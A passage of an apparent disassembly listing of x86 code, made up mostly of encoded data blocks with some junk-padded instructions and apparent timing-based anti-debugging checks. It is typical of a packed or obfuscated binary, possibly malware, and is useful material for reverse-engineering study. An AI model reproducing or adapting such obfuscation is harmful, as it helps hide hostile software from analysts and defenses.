9174F6AFh, 0F264E832h, 30C1009Fh dd 0F15A8F70h, 0D3008FB0h, 0A164D75Ah, 6379F079h, 0A42396F0h dd 0F87EE1EBh, 534F12BFh, 1428BF7h, 6A2E22A3h, 36h, 0EF6DD8ADh dd 0E665D728h, 0DC74F04h, 0DA1C03CAh, 3EB93CD6h, 563598CDh dd 0BC0C8F4Ch, 0A0003A9Eh, 0A596BD3Dh, 0AC2BAEE8h, 803BB1E9h dd 4F5E3B28h, 2488h, 6DD8DF00h, 40F228EFh, 0E60A6855h dd 0A96A4F04h, 0FBC49B74h, 4F04E685h, 0F36CEE34h, 0F45B9C26h dd 29AC2BAEh, 1782CBCh, 0CC7B0000h, 0E69664E6h, 0B31C4BC3h dd 35A300F8h, 396841B2h, 64D6CC6Eh, 0A962D1EBh, 5E6FEE6Dh dd 0D45F5B0Ch, 0ED2D14C4h, 0D456AF0Eh, 504C04E5h, 0E5C4A69Fh dd 8E404C04h, 0CF8F6915h, 96CB7850h, 0E66CCE37h, 7C84C04h dd 2A134Ah, 0D8BA0000h, 0CCDDEA60h, 4E671F3h, 0AB00F34Fh dd 9F43E6CCh, 64C785h, 77E7F057h, 157647C2h, 6CEB6EB4h dd 2C2C2AA3h, 7B000000h, 0DDEA60D8h, 0E671F3CCh, 0F2284F04h dd 7EF5C740h, 0B017D895h, 0AC69EE6Ah, 0CC9BCC2Fh, 0E612106Dh dd 0A1924F04h, 0A82FAAF4h, 77421513h, 6EE960C0h, 0D1B4E95Ah dd 61320FF9h, 6A1975ECh, 0A328E56Bh, 61D86E39h, 5B0CD2EBh dd 0E966D6CCh, 393660D3h, 6459AF95h, 5ED519F2h, 672D1504h dd 5811BF3Bh, 67DCEC21h, 3433AAh, 0D85A0000h, 0CCD2EB61h dd 2EEB64D6h, 0E604665Fh, 0AF604F04h, 779BCC1Eh, 0A98144C3h dd 0A1F2924Ch, 4553EBDh, 0D6CC4215h, 0D099E562h, 7D00359h dd 3F40h, 61D89700h, 6D4524EBh, 0E9A0433Eh, 3F3D624Ah dd 0BD4F05B8h, 0CC38917Ah, 4E671F3h, 9658C24Fh, 578D4F1Dh dd 7672E9D2h, 16A798CDh, 49056DCCh, 0B14D9F20h, 5C9108CFh dd 0C377DAF3h, 42157744h, 8746C177h, 0B81E22ABh, 62E8DF66h dd 0F1DBB4E9h, 5A0E94Eh, 868A544Fh, 5776F167h, 9ABD1A70h dd 8E103503h, 0C17794C5h, 0DC9B8746h, 7BD40F5Dh, 930DCB51h dd 5E73D1D1h, 0E5A89D6Ah, 0D2BF3EBDh, 939FEB86h, 17156AC9h dd 954F0598h, 2FADE9A2h, 0E4D429ACh, 94F05A1h, 15886DD5h dd 0FE4D9E2Eh, 5239FFFFh, 4F04E5CCh, 4E68B6Dh, 0E5CDAC4Fh dd 0A8F24F04h, 80E1AA25h, 4F04E59Eh, 4E5DD43h, 0E61C024Fh dd 9E570F04h, 6C44B91Ch, 0C814EBD2h, 4F38B507h, 0DC350ACDh dd 181ACFE1h, 0DCB796D7h, 4008621Fh, 2CDE1h, 0D843700h dd 5FD8908Ah, 0F077E238h, 88335EDh, 0A1D89D85h, 0DBCEE93Eh dd 22F89F1Ah, 889235B2h, 0DC4649C2h, 42F99C1Fh, 3E402203h dd 0CEBC54EEh, 49C07791h, 0B894673h, 36EA7B44h, 795154EEh dd 0CEBA7A04h, 7BF10DCBh, 0A86B17C0h, 0BF3EBDE5h, 0D95BA42Dh dd 5B54EEB4h, 9FE0A798h, 54EEB49Dh, 6C73DC1Fh, 0EEB48D93h dd 0ED6FD854h, 0C27DF02Ah, 8849B609h, 0EC5AD805h, 0AD85642Bh dd 72B370A6h, 4F05D9F0h, 624F8B4Ch, 0EA34E14Bh, 0FF2BEA6Dh dd 76EDFF7Ah, 5B100A9Dh, 0D9578820h, 944F053Eh, 89F659DBh dd 54EE8FA4h, 42583FF0h, 97731295h, 0A613A920h, 129542E9h dd 0FD718D46h, 714E1142h dd 5AD73FE8h, 9E844B8Ch, 0E5F7A0DFh, 0DABD3FE8h, 0C9AB947Bh dd 0F04F053Eh, 53EAD8Fh, 0D2CC0F4Fh, 8E4FB461h, 3554EE8Fh dd 0EF0B6956h, 0A66954EDh, 4F0EC1EDh, 0F6665463h, 0CA87472Ch dd 18A82F7Bh, 4E85D750h, 2BA07A1Dh, 1985EDB0h, 0BC22AFB2h dd 63E4F4A1h, 54EE5AFDh, 9A7DFFA8h, 0D777B8A5h, 0A1130F5Ah dd 0E11ADC26h, 0EADB8A34h, 4F04F788h, 0DE5CA1E4h, 5E4F04F6h dd 9077A89Dh, 24239EBAh, 0E1A47D27h, 57E9E9Ch, 70DD1E4Fh dd 32B06D58h, 0A9351253h, 8E4154E9h, 3E0C6229h, 32F3591Ch dd 16Ah, 0E5E863D4h, 9B3ABD3Dh, 484FCA8Fh, 0E0E760D2h dd 993CBB3Ah, 0F578318Ch, 0FCF5B7Ah, 0A7150D90h, 0F279A124h dd 0FEAD547Bh, 0EE3EA381h, 2C7B0154h, 40C1E6CCh, 1263D007h dd 4E88922Fh, 0CC89D34Ah, 5332B06Dh, 0EEC70112h, 9C5C4654h dd 3992411Bh, 736E7ABDh, 4D5538BAh, 88BB1188h, 920778CFh dd 295AD2BFh, 16C37AF1h, 6702AB6Ch, 882214E6h, 0F461C0h dd 0ED6E0000h, 3B75372h, 50190184h, 0EA6CB6D9h, 1B46E71h dd 0A7160786h, 0C1C443F2h, 7B1A9559h, 2FAE29AFh, 0C2C544F3h dd 191B643Bh, 9B54EE40h, 6FD8B6EDh, 50D52AEDh, 2C54EE37h dd 8C4BD1EBh, 0C237B024h, 199047C3h, 0DB591643h, 86C60B74h dd 0ADF55AD7h, 281BB128h, 35B9436Fh, 0C0352EBAh, 0E341BE1Dh dd 214F04E5h, 0AB9830ABh, 8C13FC3Fh, 22A52296h, 0D7F671F8h dd 8F0E894Bh, 2387C228h, 0B4421BD9h, 0AA3EBFDBh, 5578AD2Ah dd 0E9108CDh, 6027A014h, 41BEBC81h, 0FD3E4F05h, 27958D10h dd 584221A4h, 7803496h, 0F66486D2h, 0BBEC6775h, 8407B4DEh dd 0F3551901h, 0F392C742h, 8A4DCFB8h, 0EE9254B5h, 0D5F9054h dd 66E878FFh, 5615B8EDh, 22h, 28AF2B77h, 48CF8A90h, 748EC370h dd 0FD7642C5h, 0D6CCBB10h, 1ED5E760h, 7E84C834h, 420F3ED4h dd 0C477A029h, 6EED7F4Dh, 894FDDEFh, 2CA0BA0Eh, 520319B3h dd 0F66785D7h, 19DB617Bh, 0B930CA9Eh, 0D890AA3Eh, 56B30D5Fh dd 0C681E689h, 4, 3304EE83h, 34312434h, 24343324h, 20AA685Ch dd 3C890000h, 0E2895224h, 4C281h, 0EA830000h, 24148704h dd 2414895Ch, 183668h, 24048900h, 0E95129B8h, 58C78905h dd 8904EC83h, 4812424h, 424h, 57565A00h, 2A242C81h, 5E1E3572h dd 722AC681h, 72891E35h, 34FF5E08h, 0C4815A24h, 4, 53243C8Bh dd 0C381E389h, 4, 8704C383h, 0E95C241Ch, 0FFFB220Eh, 0ACE145DFh dd 5B32B837h, 0C50305E9h, 0AE8C38Bh, 0DC000000h, 1330D574h dd 4E4AD8DDh, 0F95AFC5Eh, 752EC281h, 0B70F0000h, 57C933F7h dd 0FE9h, 0CD79EC00h, 0B0DD3B30h, 0CE8C565Dh, 0B868CEFFh dd 0A048B5Eh, 443FE881h, 8ABB2E19h, 811718DAh, 4AC650F0h dd 81DF8B4Eh, 374168F0h, 84BE6641h, 0A0489E7h, 4860Fh dd 8B530000h, 0E9815EF1h, 70AE86B5h, 0BE9h, 0AD73300h dd 12A11AABh, 0DBF36512h, 86B1C181h, 0BF0F70AEh, 90F981F2h dd 0FFFFF8Bh, 2B85h, 0DE800h, 16F0000h, 0C65BA70Fh, 6612ED9Fh dd 0E8781D0Dh, 6, 34DAD632h, 5F5E3600h, 18E9h, 0EFF0E00h dd 757FF2A2h, 0D7816656h, 0E95F2CD9h, 0FFFFFF71h, 45DA41B9h dd 0AE8BEh, 0EF2F0000h, 0CDEE79FFh, 0ABD4755Fh, 8B0Fh dd 81590000h, 8AB107D2h, 9AC1815Bh, 0BF00006Ch, 1AF1h dd 0CE9h, 231C8400h, 59446B73h, 32E29120h, 0E931FFE9h dd 0Fh, 6308BCA6h, 845A1F54h, 9DD85601h, 5B197F26h, 12E88166h dd 44EB81CAh, 0B86BAFB6h, 0FB4FB0Eh, 64E1C381h, 0DE86B14h dd 0A7000000h, 8824407Ah, 73B6C16Ah, 6763C9ACh, 0FDC3815Eh dd 0E946A5C1h, 13h, 769E2399h, 0C543737Bh, 6EDCC7BFh, 0A35999A4h dd 89BEE58Ch, 8D82BE19h, 0E98361D7h, 820F5204h, 5, 4FA3E2B8h dd 0EF815E15h, 1, 12850Fh, 81660000h, 0E9E326EAh, 1Ch dd 0F52EF7E3h, 0C0DA3AAEh, 0FF67E9FCh, 85F8FFFFh, 2B3F97FDh dd 223265ABh, 0A4B08EDFh, 0E9AB1150h, 0A5C74843h, 0F132AC44h dd 52673B2h, 795A378Bh, 0FF8B721Ch, 82C887A5h, 30B68749h dd 47FD2683h, 23897A39h, 191E8A6Dh, 3F8A3293h, 308B0F3Eh dd 3A078DDDh, 75622857h, 5A8B3774h, 336362BBh, 108B37DDh dd 0B9D6F4B3h, 0B18F131Bh, 248F13FFh, 758B37DDh, 564DF4BBh dd 502BA5C8h, 2F1ADC3Ah, 0B08477F9h, 308B37EEh, 5D36B416h dd 308ED3A7h, 3099B3D2h, 0E93137EEh, 0D98B9580h, 308B34BBh dd 7BC4E05Ch, 0CB0002D1h, 6D00B2FAh, 30E13252h, 3088DF8Ch dd 69AB37EEh, 7C026EB4h, 740A339Fh, 309133F9h, 61CA37EEh dd 0E7EF32B4h, 0D334F6BEh, 0E600CE56h, 89ED61BEh, 0B9D24D12h dd 0B50613BFh, 35626AB0h, 72EE06Fh, 50DB0ED4h, 3E1F88DDh dd 308DB4D2h, 62DB37EEh, 68D10678h, 148FBEDAh, 0D8D837B7h dd 308B37EDh, 6B486C57h, 34AF6B32h, 34AF735Ch, 308B37F3h dd 0C2486434h, 82B2F5A1h, 0EFB45C01h, 3A0F382Bh, 3F8B3777h dd 308B333Dh, 0AD3551DDh, 309FDE44h, 7B653777h, 10A70ABEh dd 32B73677h, 0C51656A8h, 14C71AACh, 0A574F15Fh, 356F0568h dd 3082DEB8h, 1EF63777h, 6B30B078h, 6F4BB157h, 0D9EBF765h dd 308B3765h, 4DF1D572h, 0B8A099C9h, 0E3C836B5h, 566BE95Bh dd 517EBF58h, 262A8A5Eh, 458B320Ah, 3D36B47Eh, 308ED399h dd 63DB2EA9h, 4A33F765h, 0B98B3773h, 0D4A9223Eh, 0DB16BAD8h dd 0CF8ED146h, 0B3D36CA4h, 0D4A93A06h, 27FF37D8h, 4A3364BEh dd 0B98B3773h, 0D4A9223Eh, 0EA16BAD8h, 0CF8ED14Bh, 5AD36CA4h dd 336367BBh, 108B37DDh, 0B9D3F4B6h, 0B18F1333h, 288F13FFh dd 708B37DDh, 3115F4BEh, 0D8F3BBDFh, 308B37B6h, 3B7B3D27h dd 9119F6C0h, 2C4EB9EDh, 7F325129h, 0B1ED6801h, 5A410E2Ch dd 33636477h, 108B37BBh, 0B9D0F486h, 0B18F13B2h, 248F1333h dd 738B37BBh, 0B00EF48Eh, 0F000B203h, 308B239Eh, 7913EBBh dd 4E5C40F4h, 0A4959839h, 124EBBF4h, 0B9B00BD3h, 4516BA25h dd 0BB8EDEB3h, 930EBA86h, 0B18EDEF6h, 51AB5D3Fh, 0B05BC8D2h dd 0F08032A9h, 30E4B3B4h, 0B88437DDh, 308B37EDh, 0BD718078h dd 0D4C70726h, 0B18457D8h, 308B37F9h, 308B259Eh, 0D2C7F4BBh dd 0C9592FC2h, 1232941Ah, 0EE09D9A3h, 51602FC5h, 3089BED2h dd 0E03937EEh, 308B34CFh, 608B5DBBh, 308B3435h, 0F3D317EEh dd 14CFBE2Fh, 14CFB6BFh, 308B20D9h, 0F3DB77EEh, 503BBDE2h dd 6C62B6DDh, 0D968C885h, 308B37E8h, 3F66BD27h, 8F848988h dd 4D16BA0Eh, 3F8EDEB3h, 308B32FEh, 762B8DBBh, 0B50642BCh dd 35627A4Dh, 0C70A5120h, 56D577B2h, 0CF230767h, 3D34513Eh dd 3099DEB2h, 0E9C37BBh, 0B500F162h, 6ECF7D40h, 84A1DD4Dh dd 342957D8h, 0B484F7D6h, 308B37F0h, 3089BF78h, 0FC0137BBh dd 7CBBAA50h, 5677320Ah, 3133C0FCh, 818B37BBh, 5668C86Dh dd 0AD06F965h, 35626AF5h, 20CAF53Ah, 0B50648E3h, 35627A4Dh dd 0BB5BC88Bh, 3F4B3C73h, 308B7C59h, 3D3B8EEEh, 0AD062A0Dh dd 356F7B8Bh, 88F2E55Dh, 308B37EDh, 308B319Fh, 0AF63E5BBh dd 8AB55202h, 1F3E193Eh, 5A68C82Eh, 336360BBh, 108B37DDh dd 0B9D4F4B1h, 0B18F130Bh, 2D8F13FFh, 778B37DDh, 4DEF4B9h dd 7C9C2C02h, 135270Dh, 3080DE9Eh, 44AB37EEh, 61835D3Eh dd 0ED437BCAh dd 5B36BA52h, 0BD8EDEB3h, 0D9EA2BFAh, 6CF68FBEh, 0B5B8BD96h dd 356F2B6Fh, 0D94AF85Ch, 0B34D16BAh, 0FE3F8EDEh, 0BB308B32h dd 0BC762B8Dh, 4DB50642h, 2035627Ah, 5E98351h, 0C08BA4F3h dd 29F1F5BFh, 0C800F45h, 0F000000h, 68Eh, 820F00h, 8B000000h dd 0BE8C3h, 1FEB0000h, 532419ABh, 1929D16Eh, 0C08B5A3Ah dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 17h, 0B6C35343h dd 83C75E1Bh, 0E416A1BDh, 9750005h, 220DBD83h, 740005E4h dd 8B535019h, 47AB8C0h, 85890000h, 5E41A55h, 0A9529D8Dh dd 0D3FF05E6h, 0BD83585Bh, 5E4220Dh, 50177400h, 47AB853h dd 85890000h, 5E41A55h, 0A5F39D8Dh, 0D3FF05E6h, 0BF66585Bh dd 0C08B6A5Eh, 4EC604EBh, 0D3E93D0Ah, 95000005h, 0FE24AB22h dd 40DAFD7Ah, 938F0E89h, 0FB27A621h, 4FD8FF7Ah, 3DB43970h dd 53CC809Ah, 0E760D64Ch, 3ABD3AE0h, 40BDEC9Bh, 54EE46E2h dd 3A992442h, 47086A5Bh, 0B36454EEh, 0EE46F072h, 0CE8B4C54h dd 49C07789h, 0F464E973h, 0CDA41542h, 72D506B1h, 9527A028h dd 48D2F55Eh, 0C7A59A83h, 254F0554h, 112B81F2h, 0C889235Ah dd 87E364D2h, 93FF58D7h, 0FA08A027h, 0CA8160A0h, 8E6D4C53h dd 554B3B1h, 15FE314Fh, 0C5C84309h, 4C1C9F5Dh, 0DE813EBEh dd 0C49417C4h, 0F416420Fh, 68F2C641h, 89516BE4h, 0A937FF23h dd 0B83EDFC3h, 0D582983Fh, 0DF6B6D4Bh, 0C786572Dh, 5717CFEh dd 0C237F84Fh, 70F071F6h, 0A5144F05h, 5805E23Bh, 0E6DBA27Ch dd 98248D2h, 101EBB3h, 0C9C993C9h, 15474300h, 67B42Eh dd 0CCE30000h, 0E612106Dh, 0A1924F04h, 0AA2DAAF4h, 0E649291Eh dd 0DBE14F04h, 0C9251ED7h, 1562E14h, 81000000h, 12106DCCh dd 0F24F04E6h, 7AE9C344h, 0D8C28F40h, 27C59710h, 86A434B3h dd 0F3015BD4h, 0D73369A9h, 0DA2BEA65h, 4F04E658h, 6CB663D4h dd 5646BECh, 0DED4882Dh, 0B38C86C1h, 4F05B9B1h, 0C28FC033h dd 0F59813D8h, 4BC67760h, 0E86FEB71h, 0BDE5C5D0h, 0BF3ABBE7h dd 6775F463h, 76E723ECh, 0ADF5D4FBh, 56D1852Fh, 339C5765h dd 26E960D7h, 4DB0F7CCh, 9E7B87FCh, 2EA9203Ah, 377BCF9Ah dd 155D75FEh, 0BEE62Eh, 77310000h, 0EB714BC6h, 2604796Eh dd 864F04E6h, 0FA78644Ch, 48BDC21Eh, 0D5AF4517h, 0E894CADh dd 3522938Fh, 53B6AC8h, 0D409CA4Fh, 0E9F46684h, 52280C81h dd 0BEE76D4Ch, 4F059ABCh, 1A186538h, 9A4F059Bh, 99336459h dd 0FB327ECCh, 2E158478h, 21581109h, 0C0FF588Bh, 0A8h dd 62C67717h, 0EA5973F4h, 0E77D6B9h, 4F04E62Ch, 0BF804788h dd 4F04E5BDh, 0B913FC3Fh, 0D2550218h, 86804D86h, 0E70557D0h dd 5CEEFA75h, 0F84C1C9Fh, 9A26EE12h, 0CBAAF030h, 5301F1EFh dd 0FD225489h, 4F05327Fh, 35513AFDh, 4E2E1080h, 91165690h dd 705A395Ch, 0D52A8E3Bh, 4F05B057h, 832862D5h, 4617C07Bh dd 285DC377h, 0B2429E6Ah, 9E6345F8h, 0B65287B4h, 575EB49h dd 5586494Fh, 8E55BD60h, 0D24D0083h, 71014D86h, 5705CEBEh dd 58B8F90h, 1F03594Fh, 156F6DD6h, 0A9E2Eh, 0E3CF0000h dd 0C9CB1C79h, 4902CBh, 12106DCCh, 924F04E6h, 2FAAF4A1h dd 4D0A10A8h, 5BA40BCAh, 4F04E5D9h, 803BB15Bh, 7C63B28h dd 4E63C3Eh, 9A77B84Fh, 9C846E3Eh, 5A7DFC7Dh, 5E1DB66Fh dd 0DA2BEADFh, 54E911EDh, 3955B892h, 6C68CF97h, 84D407A3h dd 4DA7F5DDh, 31D5B619h, 3ABD3A64h, 78C88F9Bh, 0BDAD60F2h dd 12B3D93Fh, 67588B21h, 0A2160C55h, 270B6825h, 0AB54E90Eh dd 0F16AE03Ah, 9776BA24h, 4EC98020h, 2BA07A1Dh, 0B5EDB0h dd 57003389h, 0F970E705h, 8CF4D6E3h, 8C0FCCD6h, 404A073Ch dd 0BD8D108Bh, 33F8F0C6h, 16F37h, 6FD86600h, 11C02AEDh dd 56D18377h, 37C7B87Ch, 0FE248B5Ah, 2F14C17Eh, 54E95BC2h dd 0B14B61D2h, 61C833Ah, 7882D651h, 9795EAF3h, 4554E92Ah dd 7C8F1039h, 68ABD7B8h, 82DA58A5h, 995A54E9h, 3D02E1A4h dd 54E9833Fh, 0E49E19DDh, 8D21E733h, 0BA5821A3h, 0EA61FBD1h dd 43199E5Ah, 0FF0D5F90h, 15E9C37Eh, 0E8834BB7h, 0C88F6E92h dd 59A48E51h, 217EB55h, 76C4DBB4h, 33F9210Dh, 6C7Eh, 62D89900h dd 7CFD25E8h, 0EE4D10FDh, 0E634360Fh, 7FB04F04h, 5D36B123h dd 4E66614h, 9C0CC64Fh, 0AB15C28Bh, 4A3EF8ABh, 0D20750ACh dd 1614CBE1h, 0B54F053Ah, 0F5333C16h, 0B5F53AA9h, 0E8B2FED8h dd 288007B2h, 2F9B5E3Bh, 703E2A5h, 0C07FFF51h, 0AB943D8Fh dd 4F05C5C9h, 6BB7E82Bh, 41AE6BEEh, 4F05C633h, 38BFDE11h dd 84h, 0ED6FD86Fh, 0C17AF02Ah, 8F4CB114h, 3454E8F6h, 3513B3DEh dd 78D5EB9Ah, 0C0DABD7Eh, 63D8F08h, 12FF78FCh, 2637A446h dd 0E91C5BD9h, 2516D954h, 78F378A2h, 1D78FF60h, 582254E9h dd 0BB32B958h, 6CFED4h, 864D29DEh, 0FFDBBACDh, 701241D0h dd 0AB0ECB85h, 50AD70F2h, 5AD258A7h, 79F0658Fh, 93594104h dd 0F1DBF18h, 23FBD148h, 5E175959h, 0FB0479DCh, 8054FBB7h dd 0B3C10DAAh, 0E6B33338h, 0E3741BDCh, 2AED6FD8h, 999BE44Bh dd 1B4F04E5h, 0E5F7754Ah, 82754F04h, 92BF8451h, 0E254EE47h dd 87346E31h, 0FB014B04h, 0FBDAFD7Ch, 0B376319Fh, 5603B1A8h dd 490C8F4Ch, 969795EAh, 0B1554EEh, 43F0C84Fh, 4E17450Eh dd 969496EFh, 0DF1054EEh, 0BE0F0D72h, 0BB058DD1h, 0A6219677h dd 0E26A4027h, 362F7851h, 63E452ACh, 45EF6CB6h, 8F441497h dd 7AFC0E5Ah, 4913EBC1h, 0A823A849h, 0E99F8DE5h, 87DCFC1h dd 75E2384Fh, 31FE6F2h, 4E000000h, 0C4775106h, 6EED7F4Dh dd 894FDDEFh, 2CA0BA0Eh, 520319B3h, 0F66785D7h, 19DB617Bh dd 0B930CA9Eh, 0D890AA3Eh, 68B30D5Fh, 43C2h, 68241489h dd 3296h db 89h, 3Ch, 24h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp] pop esp mov [esp], ebx push esi push 40700B58h pop esi sub esi, 3A86A976h push esi pop edi pop esi push esp mov ebx, [esp] add esp, 4 push eax mov eax, 8 loc_594F42: ; DATA XREF: ___:off_438100o add eax, ebx mov [eax], edi mov eax, [esp] add esp, 4 mov ebx, [esp] push ecx mov ecx, esp add ecx, 4 add ecx, 4 xchg ecx, [esp] pop esp mov edi, [esp] push edx mov edx, esp add edx, 4 add edx, 4 xchg edx, [esp] pop esp jmp loc_54658E ; --------------------------------------------------------------------------- db 0BDh, 0B8h, 36h dd 305E967h, 0CCE0FFC5h, 0F7664FA1h, 0F143DFEAh, 0E46B394Fh dd 0FD72EB88h, 60792398h, 0BC420F70h, 0A20A75E5h, 8862FF4Fh dd 0A84C4B57h, 5D30FE79h, 5E3B6A6Ch, 11541A6Eh, 664E8D82h dd 826880AAh, 0A64E9129h, 843954D9h, 4D0284EFh, 0DC3E7B08h dd 0EC1EA9DCh, 0CB4B23A1h, 12A5B6h, 271FC9BAh, 0F51DAF1Eh dd 7D0F12BBh, 8D1E0185h, 0E968F18Dh, 13E905h, 63F70000h dd 0B94CF075h, 61257305h, 48E02042h, 2EE0165Eh, 958D89C8h dd 5705E410h, 38B0Fh, 0BF0F0000h, 85C75AFFh, 5E42C65h dd 7344h, 112D8501h, 85C705E4h, 5E430FDh, 0 dd 7E8h, 8F6AD600h, 0D1B7DBA7h, 0DB8FBA66h, 1DB5FF5Bh dd 6A05E402h, 3E85100h, 20000000h, 8959C359h, 8104244Ch dd 1B042444h, 41000000h, 8266C351h, 0DC4D84A6h, 8166CBECh dd 0FF70E7EBh, 0E42A6195h, 56006A05h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1904h, 0C3564600h, 0F2C82B6Eh dd 0EE8105Dh, 6A000000h, 99516088h, 0E8AB704Ch, 2634B0FEh dd 0F7B70FA0h, 6AFA8B5Eh, 0C195FF00h, 8B05E410h, 3D6BEBC0h dd 0CB1C6C51h, 56150450h, 0A09A9B94h, 0CF61081Ah, 88F054Dh dd 98859DCh, 7FF140CDh, 0C50A113Ah, 84E8A1D0h, 66279B9Fh dd 0E8CB1448h, 78A41F1Eh, 0DFC346C4h, 0A1D326B9h, 31E7D689h dd 0E2495C22h, 67172CFAh, 57D1D48Bh, 1B5FBDAh, 0D8AFC115h dd 83E2888Ch, 9463C8C2h, 8FD6A176h, 418DAB53h, 0E5CD9A6h dd 0DD5D2141h, 8D8D4A32h, 5E96A46h, 599D2B60h, 3305E41Dh dd 0E4091585h, 8D896105h, 5E41095h, 0E855006Ah, 3, 5DC35D20h dd 4246C89h, 4244481h, 17h, 6EC35545h, 0F0F0765h, 686h dd 0BD8D8900h, 0C705E421h, 0E42C6585h, 722005h, 50006A00h dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1704h, 0C3504000h dd 3309D6A3h, 31FAB70Fh, 0E4042D85h, 0FD85C705h, 5E430h dd 6A000000h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch dd 15042444h, 43000000h, 94FBC353h, 0FE9h, 0E6BDBD00h dd 0C4BC82D4h, 3B6A1A0Ah, 5F44BEFh, 2031B5FFh, 0FE805E4h dd 0B000000h, 0DAE9E6A8h, 16C4C85Dh, 0C07ED6FEh, 830F14CAh dd 5, 5C2FB1BFh, 95FF5B0Fh, 5E42A61h, 95FF006Ah, 5E410C1h dd 1EEBC08Bh, 773E1F58h, 7399AED2h, 0C808EBF9h, 0BEF60D09h dd 4AB7C5Fh, 0AA88E406h, 0E47D0A39h, 3CE92DB9h, 1, 4Eh dup(0) dd 83000000h, 0E41681BDh, 840F0105h, 54Dh, 10800Fh, 880F0000h dd 0Ah, 5E9h, 0EDE81000h, 85C6DA75h, 5E42A49h, 53006A43h dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1B04h, 0C3534300h dd 33F7CE14h, 6DBFEBA6h, 0E93668F8h, 5250C022h, 68F0Fh dd 52500000h, 585A310Fh, 5250310Fh, 9E9h, 1D438B00h, 0B3AA3A1Eh dd 310FE139h, 310F5250h, 585A585Ah, 3481585Ah, 8739C324h dd 1800F2Ch, 0FC000000h, 26F5B5FFh, 8F0F05E4h, 7, 1850Fh dd 8DFC0000h, 0E76D3085h, 12E96005h, 6D000000h, 9452A3B7h dd 42DEBE67h, 16779207h, 59D852DFh, 0AE89Ch, 0BFA00000h dd 28D0D6C8h, 0FAEA6AE3h, 5AD1B70Fh, 0D0FFFC61h, 12E9h dd 94AD2900h, 140C4E68h, 0C999F4FFh, 29795056h, 89E7AC31h dd 0E411C185h, 0E9816005h, 1D5ACA00h, 5E9h, 3728F400h dd 0C661F3A7h, 0E42A4985h, 0AE95005h, 86000000h, 0CA755D89h dd 9CB126B7h, 8F68F509h, 0F3EA2C3h, 1984h, 14E900h, 44840000h dd 45E60CE0h, 17134232h, 0EE78DEB4h, 5283F2DEh, 481ABB4h dd 0AE9C724h, 0E0BB606Ah, 8B7F9D14h, 0B5FF61F1h, 5E426F5h dd 0AE9h, 0D2126100h, 43B1B73Bh, 8D77BC03h, 0E76D3085h dd 8B666005h, 0C18B51C3h, 0D0FF6158h, 0F58589FCh, 6005E417h dd 880Fh, 61F90000h, 38904168h, 505250F4h, 0F616052h, 5A616031h dd 50310F58h, 800F52h, 0F000000h, 860F31h, 5A000000h, 81585A58h dd 386E2434h, 0F6004B7h, 14E9FEB7h, 5D000000h, 154AB9BBh dd 0AF4668FCh, 0A08C7017h, 0B294BF1Ch, 6167B5A9h, 1D8A0Fh dd 8A0F0000h, 17h, 12E9h, 11C9DA00h, 0BB0FE53Fh, 81227403h dd 0A54F4796h, 0FFC3D0F7h, 0E426F5B5h, 858DF505h, 5E76D30h dd 0EE9h, 3C260800h, 14671AD9h, 6E23A9A8h, 0FF961EA1h dd 8589FCD0h, 5E41A85h, 68B0F60h, 0F000000h, 88h, 118C0F00h dd 0E9000000h, 0Ch, 0AC3641FDh, 33784922h, 6962E7B1h, 4985C661h dd 5005E42Ah, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h dd 14h, 41C35242h, 17820Fh, 12E90000h, 0F6000000h, 1246B5AEh dd 0B8E2E731h, 6B9AECFDh, 238F26EDh, 223C6874h, 0E860B179h dd 6, 5E4AC833h, 0BA66D760h, 0E85F3A66h, 14h, 71557E65h dd 3EF15188h, 82CC99D1h, 66BE3F04h, 0F022BD61h, 310F5250h dd 615E585Ah, 6A243481h, 0F826E5FEh, 28E5B5FFh, 880F05E4h dd 13h, 0D840Fh, 8E90000h, 0BD000000h, 33562A1Ch, 8DE37C57h dd 0E4399485h, 0EE905h, 0F110000h, 0CA0C8437h, 0BF395B8h dd 1299DFE3h, 0E960D0FFh, 6, 0CB7B6EDDh, 0B8665301h, 60610DF2h dd 43DAB966h, 14E953h, 703C0000h, 51861D3Bh, 0A4FDC047h dd 164D46A6h, 700C6AD5h, 615F11EBh, 22D18589h, 6A05E4h dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 1D0424h, 51410000h dd 0EB6209C3h, 3A56A39Bh, 0F9EDFB2h, 18Ch, 6660F900h, 60854DBFh dd 0B70FC78Bh, 0E96161F6h, 1E9h, 0FCFC6060h, 890F61h, 61000000h dd 0F525050h, 1687h, 11E900h, 0A2860000h, 0A3C9ECFAh, 0EDAE7EFCh dd 0CED2D7ABh, 0F71A765h, 0E820F31h, 0E9000000h, 9, 12FE3A0Ah dd 1F055D19h, 89585AC5h, 6A242Ch, 3E857h, 5F200000h, 7C895FC3h dd 44810424h, 140424h, 57470000h, 13E9DAC3h, 0D000000h dd 6A15B085h, 6BD6A5CCh, 243BE939h, 9A350C25h, 8BF95CBAh dd 7850FECh, 0F000000h, 182h, 0C483FC00h, 0EE9FCh, 0FF110000h dd 0EB02EB2Bh, 18E944FBh, 180E156Ch, 0B890F60h, 0E9000000h dd 6, 10AB984Ch, 0E8C7DDh, 5A000000h, 6FD2EA81h, 45C705E9h dd 0FCh, 81BA8300h, 105E416h, 98840Fh, 6A520000h, 0FF0F6A00h dd 0E411C192h, 82895A05h, 5E96A6Eh, 6A729A8Dh, 0C75205E9h dd 12803h, 0FF505300h, 0E417F592h, 8D525A05h, 0E96A729Ah dd 0B2FF5305h, 5E96A6Eh, 22D192FFh, 0B5A05E4h, 8D5074C0h dd 0E96A729Ah, 247B8D05h, 0F981C933h, 104h, 8141D474h dd 452E393Ch, 0EE754558h, 2B39348Dh, 0BA8D0C75h, 5E42E95h dd 0F30C4D8Bh, 0AAC032A4h, 875FF52h, 2E95828Dh, 0FF5005E4h dd 0E41A8592h, 0C00B5A05h, 45C7A075h, 1FCh, 0C707EB00h dd 0FC45h, 8B610000h, 0C2C9FC45h, 6A0008h, 3E857h, 5F200000h dd 7C895FC3h, 44810424h, 1B0424h, 57470000h, 688C38C3h dd 60D8E3F6h, 50006A81h, 3E8h, 0C3582000h, 24448958h, 24448104h dd 1804h, 0C3504000h, 8529F53Bh, 0F850F54h, 0E9000000h dd 0Ah, 0B96B5652h, 